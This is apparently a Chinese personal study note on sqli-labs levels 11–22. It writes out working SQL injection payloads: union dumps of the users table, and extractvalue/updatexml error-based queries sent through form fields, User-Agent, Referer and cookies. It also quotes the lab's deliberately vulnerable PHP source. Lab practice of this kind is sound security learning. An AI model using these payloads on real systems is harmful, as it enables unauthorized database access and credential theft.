前言
上篇已经熟悉了一些注入思路,搁置比较久了今天来复习一下sql注入,通过实践然后总结是我觉得比较好的学习方法,所以记一些笔记供我以后参考自己思维错在哪应该怎么避免怎么改正,收获又在哪!!!
Less-11
先使用admin弱密码登录试一下,运气还可以直接登录成功:
这里肯定是存在注入点的,我们判断其注入类型,试一下是不是单引号注入
报错了,那应该就是单引号注入类型了,也不用去闭合单引号了;
然后猜解字段数:
所以字段数是2,接下来暴库:
' union select database(),version() #
版本在mysql5.0以上会有一个特殊的information_schema库
'union select null,group_concat(table_name)
from information_schema.tables where table_schema='security'#
爆出四个表名:
users这个表应该存放着用户信息,下一步就是暴列名
' union select null,group_concat(column_name)
from information_schema.columns where table_name='users' #
很明显,接下来暴字段值就欧克;
'union select null,group_concat(username,id,password) from users #
与前十关不一样的是前者是GET型,后者是POST型,但是注入思路都差不多;
less-12
先判断注入类型,发现单引号不会报错,那试一下双引号发现报错,但是闭合双引号后还是报错,于是判断应该只是包括了双引号,试一下“)发现报错,闭合符号后登录成功,其他思路和十一关一样;
less-13
几番试过之后,发现是闭合符号是’),但是闭合之后并没有回显有效信息,看来是盲注了,可以直接拿工具去跑,也可以用到extractvalue()函数进行报错注入:
') and extractvalue(1,concat(0x7e,(select database()))) and ('
然后按照上面的思路构造查询语句;
less-14
试一下发现闭合符号是",并且和上一关很相似,直接输入
" and extractvalue(1,concat(0x7e,(select database()))) and "
会返回数据库信息,然后就没有然后了,和上面一样;
less-15、less-16
发现不管输入什么都不会回显消息,肯定是盲注了,手工盲注上篇有笔记,这里直接用sqlmap跑就可以;
less-17
本题是基于错误的更新查询POST注入,而且本题要用到类似extractvalue函数的updatexml函数;
语法updatexml(目标xml文档,xml路径,更新的内容)
此函数报错的原因updatexml第二个参数需要的是XPATH格式的字符串,输入一个不符合的格式就会报错;
前几题都是在username上做的工作,刚开始做这题的时候也是在username上输入都不会回显,我以为是盲注,试了一下延迟注入没反应,找不到方法回去看了一下源码:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
有个检查函数,咱先不看检查函数的内容,直接看到这个检查函数值过滤了username,我刚刚怎么没想到试一下password ,于是:
果然报错了,并且闭合单引号不会报错,初步判断是基于单引号的报错注入;
' and extractvalue(1, concat(0x7e, (select @@database), 0x7e))#
其实构造这样的payload也能回显有用的信息,但是这里我想学习一下updatexml函数的使用,虽然两者也差不多;
' and updatexml(1, concat(0x7e, (select @@version), 0x7e),1)#
后面的就不多说啦
less-18
觉得奇怪会给我一个IP地址先不管,疯狂找注入点,username,password两个表单都试过并没有报错,应该是都被过滤了,只能找其他方法,用正确的用户密码登录试一下admin,admin,会返回user agent的有关信息,所以这应该可以作为突破点
参数值改为’会报错,构造payload:
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ’
这里不要注释单引号,用and ’ ,不要问为什么问就是不说
less-19
和前一关一样不同的是注入点跑到refer这里而已;
less-20
使用admin登录 一下;
返回这样的页面,注入点应该是cookie,抓包看一下:
果然报错,既然找到注入点了其他都都好说!
less-21
登录发现是这样:
uname为什么不是admin? 发现有等号,应该是被base64编码了,所以只要base64加密后写入cookie,就可以完成注入;
less-22
这里和上一题一样啦,不同的是这里需要闭合的字符不一样罢了。
到这里前面basic challenge就完成了,算是入门了哈;
总结:
这一部分大都是基于字符{(、)、‘、“、}的注入类型,也有少部分是基于数字类型的,凡是找到注入点注入思路也苟同,上篇笔记有写,还有对extravalue函数、updatexml函数、PHP代码审计、常用查询语句、sleep() 用于延时注入等知识的熟悉,
1-10:
GET型的常见注入类型(联合注入,报错注入,盲注等)
10-22:
POST型的常见注入类型(报错盲注等),这部分和前十题比较不同的是post类型注入点更加多变,一定要耐心寻找注入点;(像什么cookie、user agent、总之根据提示或者别的有用信息找到注入点)